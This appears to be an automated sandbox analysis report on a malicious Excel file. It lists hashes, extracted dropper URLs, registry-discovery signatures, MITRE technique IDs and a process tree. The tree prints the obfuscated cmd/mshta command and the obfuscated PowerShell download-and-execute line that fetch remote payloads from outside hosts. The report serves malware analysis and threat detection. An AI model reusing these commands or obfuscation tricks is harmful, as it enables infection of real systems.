34315a97decc512b1ee8e3f26e5f2ff6ea20bf03d6e8524b970df14e18ecfcb7

General

Target
51c5ef7c8a552340045b9d216f22a234.xls
Size 142KB
Sample220120-ss3cwsaea5
SHA256 34315a97decc512b1ee8e3f26e5f2ff6ea20bf03d6e8524b970df14e18ecfcb7
MD5 51c5ef7c8a552340045b9d216f22a234
SHA1 2a2d330022ae6c376cd7af1c7f0ed8ff7755e630
SHA512 996533925f67939afd1a8225aed8fa44f605bc7e4e0b63cee73f0ea478a00ca68d4bad5315ef777e9bbcefd79fa35527d803df9ed332de67f5cb5594e215daae
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	908	1848	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
39	2000	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2772	2000	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1848	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE
1848	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 3932	1848	EXCEL.EXE	58
PID 1848 wrote to memory of 3932	1848	EXCEL.EXE	58
PID 1848 wrote to memory of 908	1848	EXCEL.EXE	60
PID 1848 wrote to memory of 908	1848	EXCEL.EXE	60
PID 908 wrote to memory of 2000	908	cmd.exe	62
PID 908 wrote to memory of 2000	908	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\51c5ef7c8a552340045b9d216f22a234.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3932
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:2000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3740
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2000 -s 1720
      4⤵
      Program crash
      PID:2772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:4040

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 452 -p 2000 -ip 2000
1⤵
PID:2180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1848-130-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

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memory/1848-131-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

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memory/1848-132-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

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memory/1848-133-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

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memory/1848-134-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

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memory/1848-137-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

Download

memory/1848-138-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads